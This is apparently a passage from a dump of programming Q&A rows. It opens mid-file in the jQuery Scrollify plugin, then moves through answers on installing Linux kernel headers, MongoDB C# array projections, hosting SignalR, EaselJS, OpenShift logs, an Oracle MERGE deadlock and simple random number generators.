for(index=0;intex<1;index++)
{
console.log("worked on home button");
}
}
/*home,end button end*/
},
init:function() {
if(settings.scrollbars) {
$window.on('mousedown', manualScroll.handleMousedown);
$window.on('mouseup', manualScroll.handleMouseup);
$window.on('scroll', manualScroll.handleScroll);
} else {
$("body").css({"overflow":"hidden"});
}
$window.on(wheelEvent,manualScroll.wheelHandler);
$(document).bind(wheelEvent,manualScroll.wheelHandler);
$window.on('keydown', manualScroll.keyHandler);
}
};
swipeScroll = {
touches : {
"touchstart": {"y":-1,"x":-1},
"touchmove" : {"y":-1,"x":-1},
"touchend" : false,
"direction" : "undetermined"
},
options:{
"distance" : 30,
"timeGap" : 800,
"timeStamp" : new Date().getTime()
},
touchHandler: function(event) {
if(disabled===true) {
return true;
} else if(settings.standardScrollElements) {
if($(event.target).is(settings.standardScrollElements) || $(event.target).closest(settings.standardScrollElements).length) {
return true;
}
}
var touch;
if (typeof event !== 'undefined'){
if (typeof event.touches !== 'undefined') {
touch = event.touches[0];
switch (event.type) {
case 'touchstart':
swipeScroll.touches.touchstart.y = touch.pageY;
swipeScroll.touches.touchmove.y = -1;
swipeScroll.touches.touchstart.x = touch.pageX;
swipeScroll.touches.touchmove.x = -1;
swipeScroll.options.timeStamp = new Date().getTime();
swipeScroll.touches.touchend = false;
case 'touchmove':
swipeScroll.touches.touchmove.y = touch.pageY;
swipeScroll.touches.touchmove.x = touch.pageX;
if(swipeScroll.touches.touchstart.y!==swipeScroll.touches.touchmove.y && (Math.abs(swipeScroll.touches.touchstart.y-swipeScroll.touches.touchmove.y)>Math.abs(swipeScroll.touches.touchstart.x-swipeScroll.touches.touchmove.x))) {
//if(!overflow[index]) {
event.preventDefault();
//}
swipeScroll.touches.direction = "y";
if((swipeScroll.options.timeStamp+swipeScroll.options.timeGap)<(new Date().getTime()) && swipeScroll.touches.touchend == false) {
swipeScroll.touches.touchend = true;
if (swipeScroll.touches.touchstart.y > -1) {
if(Math.abs(swipeScroll.touches.touchmove.y-swipeScroll.touches.touchstart.y)>swipeScroll.options.distance) {
if(swipeScroll.touches.touchstart.y < swipeScroll.touches.touchmove.y) {
swipeScroll.up();
} else {
swipeScroll.down();
}
}
}
}
}
break;
case 'touchend':
if(swipeScroll.touches[event.type]===false) {
swipeScroll.touches[event.type] = true;
if (swipeScroll.touches.touchstart.y > -1 && swipeScroll.touches.touchmove.y > -1 && swipeScroll.touches.direction==="y") {
if(Math.abs(swipeScroll.touches.touchmove.y-swipeScroll.touches.touchstart.y)>swipeScroll.options.distance) {
if(swipeScroll.touches.touchstart.y < swipeScroll.touches.touchmove.y) {
swipeScroll.up();
} else {
swipeScroll.down();
}
}
swipeScroll.touches.touchstart.y = -1;
swipeScroll.touches.touchstart.x = -1;
swipeScroll.touches.direction = "undetermined";
}
}
default:
break;
}
}
}
},
down: function() {
if(index<=heights.length-1) {
if(atBottom() && index<heights.length-1) {
index++;
//index, instant, callbacks
animateScroll(index,false,true);
} else {
if(Math.floor(elements[index].height()/$window.height())>interstitialIndex) {
interstitialScroll(parseInt(heights[index])+($window.height()*interstitialIndex));
interstitialIndex += 1;
} else {
interstitialScroll(parseInt(heights[index])+(elements[index].height()-$window.height()));
}
}
}
},
up: function() {
if(index>=0) {
if(atTop() && index>0) {
index--;
//index, instant, callbacks
animateScroll(index,false,true);
} else {
if(interstitialIndex>2) {
interstitialIndex -= 1;
interstitialScroll(parseInt(heights[index])+($window.height()*interstitialIndex));
} else {
interstitialIndex = 1;
interstitialScroll(parseInt(heights[index]));
}
}
}
},
init: function() {
if (document.addEventListener) {
document.addEventListener('touchstart', swipeScroll.touchHandler, false);
document.addEventListener('touchmove', swipeScroll.touchHandler, false);
document.addEventListener('touchend', swipeScroll.touchHandler, false);
}
}
};
util = {
refresh:function(withCallback) {
clearTimeout(timeoutId2);
timeoutId2 = setTimeout(function() {
sizePanels();
calculatePositions(true);
if(withCallback) {
settings.afterResize();
}
},400);
},
handleUpdate:function() {
util.refresh(false);
},
handleResize:function() {
util.refresh(true);
}
};
settings = $.extend(settings, options);
sizePanels();
calculatePositions(false);
if(true===hasLocation) {
//index, instant, callbacks
animateScroll(index,false,true);
} else {
setTimeout(function() {
//instant,callbacks
manualScroll.calculateNearest(true,false);
},200);
}
if(heights.length) {
manualScroll.init();
swipeScroll.init();
$window.on("resize",util.handleResize);
if (document.addEventListener) {
window.addEventListener("orientationchange", util.handleResize, false);
}
}
function interstitialScroll(pos) {
if( $().velocity ) {
$(settings.target).stop().velocity('scroll', {
duration: settings.scrollSpeed,
easing: settings.easing,
offset: pos,
mobileHA: false
});
} else {
$(settings.target).stop().animate({
scrollTop: pos
}, settings.scrollSpeed,settings.easing);
}
}
function sizePanels() {
var selector = settings.section;
overflow = [];
if(settings.interstitialSection.length) {
selector += "," + settings.interstitialSection;
}
$(selector).each(function(i) {
var $this = $(this);
if(settings.setHeights) {
if($this.is(settings.interstitialSection)) {
overflow[i] = false;
} else {
if(($this.css("height","auto").outerHeight()<$window.height()) || $this.css("overflow")==="hidden") {
$this.css({"height":$window.height()});
overflow[i] = false;
} else {
$this.css({"height":$this.height()});
if(settings.overflowScroll) {
overflow[i] = true;
} else {
overflow[i] = false;
}
}
}
} else {
if(($this.outerHeight()<$window.height()) || (settings.overflowScroll===false)) {
overflow[i] = false;
} else {
overflow[i] = true;
}
}
});
}
function calculatePositions(resize) {
var selector = settings.section;
if(settings.interstitialSection.length) {
selector += "," + settings.interstitialSection;
}
heights = [];
names = [];
elements = [];
$(selector).each(function(i){
var $this = $(this);
if(i>0) {
heights[i] = parseInt($this.offset().top) + settings.offset;
} else {
heights[i] = parseInt($this.offset().top);
}
if(settings.sectionName && $this.data(settings.sectionName)) {
names[i] = "#" + $this.data(settings.sectionName).replace(/ /g,"-");
} else {
if($this.is(settings.interstitialSection)===false) {
names[i] = "#" + (i + 1);
} else {
names[i] = "#";
if(i===$(selector).length-1 && i>1) {
heights[i] = heights[i-1]+parseInt($this.height());
}
}
}
elements[i] = $this;
try {
if($(names[i]).length && window.console) {
console.warn("Scrollify warning: Section names can't match IDs on the page - this will cause the browser to anchor.");
}
} catch (e) {}
if(window.location.hash===names[i]) {
index = i;
hasLocation = true;
}
});
if(true===resize) {
//index, instant, callbacks
animateScroll(index,false,false);
} else {
settings.afterRender();
}
}
function atTop() {
if(!overflow[index]) {
return true;
}
top = $window.scrollTop();
if(top>parseInt(heights[index])) {
return false;
} else {
return true;
}
}
function atBottom() {
if(!overflow[index]) {
return true;
}
top = $window.scrollTop();
if(top<parseInt(heights[index])+(elements[index].outerHeight()-$window.height())-28) {
return false;
} else {
return true;
}
}
}
function move(panel,instant) {
var z = names.length;
for(;z>=0;z--) {
if(typeof panel === 'string') {
if (names[z]===panel) {
index = z;
//index, instant, callbacks
animateScroll(z,instant,true);
}
} else {
if(z===panel) {
index = z;
//index, instant, callbacks
animateScroll(z,instant,true);
}
}
}
}
$.scrollify.move = function(panel) {
if(panel===undefined) {
return false;
}
if(panel.originalEvent) {
panel = $(this).attr("href");
}
move(panel,false);
};
$.scrollify.instantMove = function(panel) {
if(panel===undefined) {
return false;
}
move(panel,true);
};
$.scrollify.next = function() {
if(index<names.length) {
index += 1;
animateScroll(index,false,true);
}
};
$.scrollify.previous = function() {
if(index>0) {
index -= 1;
//index, instant, callbacks
animateScroll(index,false,true);
}
};
$.scrollify.instantNext = function() {
if(index<names.length) {
index += 1;
//index, instant, callbacks
animateScroll(index,true,true);
}
};
$.scrollify.instantPrevious = function() {
if(index>0) {
index -= 1;
//index, instant, callbacks
animateScroll(index,true,true);
}
};
$.scrollify.destroy = function() {
if(!initialised) {
return false;
}
if(settings.setHeights) {
$(settings.section).each(function() {
$(this).css("height","auto");
});
}
$window.off("resize",util.handleResize);
if(settings.scrollbars) {
$window.off('mousedown', manualScroll.handleMousedown);
$window.off('mouseup', manualScroll.handleMouseup);
$window.off('scroll', manualScroll.handleScroll);
}
$window.off(wheelEvent,manualScroll.wheelHandler);
$window.off('keydown', manualScroll.keyHandler);
if (document.addEventListener) {
document.removeEventListener('touchstart', swipeScroll.touchHandler, false);
document.removeEventListener('touchmove', swipeScroll.touchHandler, false);
document.removeEventListener('touchend', swipeScroll.touchHandler, false);
}
heights = [];
names = [];
elements = [];
overflow = [];
};
$.scrollify.update = function() {
if(!initialised) {
return false;
}
util.handleUpdate();
};
$.scrollify.current = function() {
return elements[index];
};
$.scrollify.disable = function() {
disabled = true;
};
$.scrollify.enable = function() {
disabled = false;
if (initialised) {
//instant,callbacks
manualScroll.calculateNearest(false,false);
}
};
$.scrollify.isDisabled = function() {
return disabled;
};
$.scrollify.setOptions = function(updatedOptions) {
if(!initialised) {
return false;
}
if(typeof updatedOptions === "object") {
settings = $.extend(settings, updatedOptions);
util.handleUpdate();
} else if(window.console) {
console.warn("Scrollify warning: Options need to be in an object.");
}
};
}));
A: I think you are listening wrong event. Use keydown event this will work.
working fiddle | unknown | |
d18193 | test | The problem is that you have the linux kernel 4.1.4 header files in the directory for kernel compilation.
To compile user programs, the compiler normally looks for them in /usr/include (well, in the new architectures, it is some more complicated) and there's normally a copy of the kernel headers for the running kernel installed inside /usr/include
But now, you have a kernel headers version mismatch. You don't say where have you downloaded that sources from, but in the Documentation subdirectory of the kernel source tree, you have some document explaining how to install the kernel headers in the proper place, so the compiler for system applications finds them right.
Read the doc at /usr/src/linux-4.1.4/Documentation for a file which explainst how to install the kernel headers in the proper place. Mainly, it refers to all files installed under /usr/include/linux, /usr/include/asm and (as is your case) /usr/include/asm-amd64.
Note:
After some search in the kernel source tree, I have found a target headers_install in the Makefile (by trying make help) I suppose serves to install the header files from the kernel tree to the proper place.
So, the most probable way to install the kernel header files is to do:
make headers_install
or (in case you must install them in other place)
INSTALL_HDR_PATH=<new_path> make headers_install
(it says by default installation goes to ./usr) | unknown | |
d18194 | test | Here are two possible solutions - there may be simpler ones...
Version 1: Using find() and project() only plus some BSON magic
var collection = new MongoClient().GetDatabase("test").GetCollection<Level>("test");
var projection = Builders<Level>.Projection.ElemMatch(level => level.ConnectingQuestions, q => q.QuestionNumber == 2);
var bsonDocument = collection
// filter out anything that we're not interested in
.Find(level => level.Id == "59e850f95322e01e88f131c1")
.Project(projection)
.First();
// get first (single!) item from "ConnectingQuestions" array
bsonDocument = bsonDocument.GetElement("ConnectingQuestions").Value.AsBsonArray[0].AsBsonDocument;
// deserialize bsonDocument into ConnectingQuestions instance
ConnectingQuestion cq = BsonSerializer.Deserialize<ConnectingQuestion>(bsonDocument);
Version 2: Using the aggregation framework ($filter needs MongoDB >= v3.2)
var collection = new MongoClient().GetDatabase("test").GetCollection<Level>("test");
var cq = collection.Aggregate()
// filter out anything that we're not interested in
.Match(level => level.Id == "59e850f95322e01e88f131c1")
// filter the ConnectingQuestions array to only include the element with QuestionNumber == 2
.Project<Level>("{ 'ConnectingQuestions': { $filter: { input: '$ConnectingQuestions', cond: { $eq: [ '$$this.QuestionNumber', 2 ] } } } }")
// move the first (single!) item from "ConnectingQuestions" array to the document root level
.ReplaceRoot(q => q.ConnectingQuestions.ElementAt(0))
.FirstOrDefault(); | unknown | |
d18195 | test | The format you show you want cannot use smalldatetime because that is not the format of the data type you selected on your destination table. The destination date format would be like 2016-03-07 09:27:00, but if you want it as 2016-03-07-09-27:01 then you will have to store that as a string in your table.
As well the input value is returning a NULL because SSIS cannot convert that format into a date. You would have to use an expression or Script Task of some sort in order to parse that value out to the end format you want it, before sending it to your destination. | unknown | |
d18196 | test | As far as I know, a SignalR server could be hosted in IIS, but it could also be self-hosted (such as in a console application or Windows service) using the self-host library. If IIS is not available (or not install) on your windows computer, self-host would be preferable. As you said, you could create a SignalR server that's hosted in a console application, and it could be easy to deploy as a WebJob.
In order to save money, if you deploy it as a WebJob in your App Service web app, you should to choose an appropriate App Service plan tier based on your requirements of app capabilities and performance. If you’d like to host it in Azure Cloud Service worker role, you should use appropriate Instance size and count.
You could use Pricing calculator to estimate your expected monthly. | unknown | |
d18197 | test | You can use rhc app-tidy <yorApp> to delete the logs and contents of the /tmp directory on the gears (this is used primarily in order to free up some disk space).
You can also ssh into your app rhc ssh <yourApp> and check individual logs in ~/app-root/logs/, which may bring some clarity if you are reading only the log that interests you.
A: Configure logs
To set
*
*maximum file size
*maximum number of files
The maximum file size and maximum number of files can be configured
with the LOGSHIFTER__MAX_FILESIZE and
LOGSHIFTER__MAX_FILES environment variables.
$ rhc env set LOGSHIFTER_PHP_MAX_FILESIZE=5M LOGSHIFTER_PHP_MAX_FILES=5 -a myapp
Setting environment variable(s) ... done
$ rhc app stop
RESULT:
myapp stopped
$ rhc app start
RESULT:
myapp started
The exact variable names depend on the type of cartridge; the value of
is DIY, JBOSSAS, JBOSSEAP, JBOSSEWS, JENKINS, MONGODB,
MYSQL, NODEJS, PERL, PHP, POSTGRESQL, PYTHON, or RUBY as appropriate.
copied from:
https://developers.openshift.com/managing-your-applications/log-files.html
https://developers.openshift.com/managing-your-applications/environment-variables.html | unknown | |
d18198 | test | One possible suspect constalation in your use case would be if the threadno is not uniquely mapped to the join keys used in the MERGE.
You may quickly check it with the query below - it should not return any row. If yes, you have a postential problem described later.
select COY, COL2, TRXNO, min(THREADNO), max(THREADNO)
from zpd_tabl2 zpd
group by COY, COL2, TRXNO
having count(distinct THREADNO) > 1;
Bind Variables Used in Dealock Statements
Well, the deadlock trace file contains some information
Peeked Binds
============
Bind variable information
position=1
datatype(code)=2
datatype(string)=NUMBER
precision=0
scale=0
max length=22
value=1
But this will not help you as it is the peeked value used while the statement was parsed.
Rows waited on
More usefull information is the rowid of the rows caused the problem
Rows waited on:
Session 138: obj - rowid = 00012563 - AAASVjAARAAAACbAAB
(dictionary objn - 75107, file - 17, block - 155, slot - 1)
Session 12: obj - rowid = 00012563 - AAASVjAARAAAACbAAA
(dictionary objn - 75107, file - 17, block - 155, slot - 0)
The object_id (here 75107) should point to your TABLE_A and you can check the threadnos that try to modify the problematic rows with the following query.
select a.rowid, a.COY, a.COL2, a.TRXNO , zpd.threadno
from table_a a
join zpd_tabl2 zpd
ON ( a.coy = zpd.coy
AND a.col2 = zpd.col2
AND a.trxno = zpd.trxno)
where a.rowid in ( 'AAASVjAARAAAACbAAB','AAASVjAARAAAACbAAA');
If you see at least four rows, that you suffer the threadnoproblem stated in the beginning.
Reproducible Example
Note, I can't claim that this is exact your situation, but this is the simplest way how to get a deadlock you observed.
create table table_a as
select rownum coy, rownum col2, rownum trxno, ' ' col3, localtimestamp datime
from dual
connect by level <= 2;
create table zpd_tabl2 as
select rownum coy, rownum col2, rownum trxno, 1 threadno
from dual
union all
select rownum coy, rownum col2, rownum trxno, 2 threadno
from dual
union all
select 1+rownum coy, 1+rownum col2, 1+rownum trxno, 3 threadno
from dual
union all
select 1+rownum coy, 1+rownum col2, 1+rownum trxno, 4 threadno
from dual
;
*
*in Session 1 run the MERGE with pareter 1
.
MERGE INTO table_a ta
USING zpd_tabl2 zpd ON ( ta.coy = zpd.coy
AND ta.col2 = zpd.col2
AND ta.trxno = zpd.trxno
AND ( ta.col3 = ' '
OR ta.col3 IS NULL
OR ta.col3 = 'I' )
AND zpd.threadno = :b1 )
WHEN MATCHED THEN UPDATE
SET ta.col3 = 'Y',
ta.datime = localtimestamp;
1 row merged
*
*in Session 2 run the MERGE with pareter 4
1 row merged
*
*in Session 1 run the MERGE with pareter 3
waiting
*
*in Session 2 run the MERGE with pareter 1
waiting
*
*in Session 1
ORA-00060: deadlock detected while waiting for resource | unknown | |
d18199 | test | You should be able to swap the libraries as you suggested, but they need to all be swapped at once, otherwise you will run into incompatibilities around the event model and inheritance. Make sure to swap the MovieClip library as well.
As you suggested, the easiest way to do this is to publish once, then turn off "overwrite HTML" and modify the html to point to the new libraries. We tested fairly extensively, and the new libraries should be compatible with the latest Flash CC output. The only issue we encountered is with FlashCC's spritesheet export tool, which is not compatible with the latest version of EaselJS.
That's not to say that there may not be incompatibilities that we didn't find, so if you are able to reproduce an issue, let us know. | unknown | |
d18200 | test | Just dig up the article by Park and Miller in the Oct 88 issue of CACM.
The general algorithm they propose is:
a = 16807;
m = 2147483647;
seed = (a * seed) mod m;
random = seed / m;
Though the article includes several refinements.
A: A random number generator is basically a special* hash function which runs recursively from a starting seed.
I've used the MurmurHash2 algorithm in my C# code to good effect. It's extremely fast and simple to implement and has been tested to be very well distributed with low collision rates. The project has several different open source hash functions written in C++ which should be easily convertible to C.
* By special I mean that running the hash function on a value should return another seemingly random (but determinate) value, so that the output doesn't appear to form patterns. Also, the distribution of the returned value should have a uniform distribution.
A: A linear congruential generator would be simple to implement. A nice implementation in pure C is available here.
A: You can try Multiply-with-carry by George Marsaglia.
Code from Wikipedia:
#include <stdint.h>
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
A: Check the source code of the gsl library, a couple of well tested algorithms are implemented in it.
A: You may want to look for Mersenne Twister. There are lots of algorithms of higher quality. A good article with an overview you find here:
http://en.wikipedia.org/wiki/Pseudorandom_number_generator
A: You might try Isaac which is also available as part of CCAN here | unknown |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.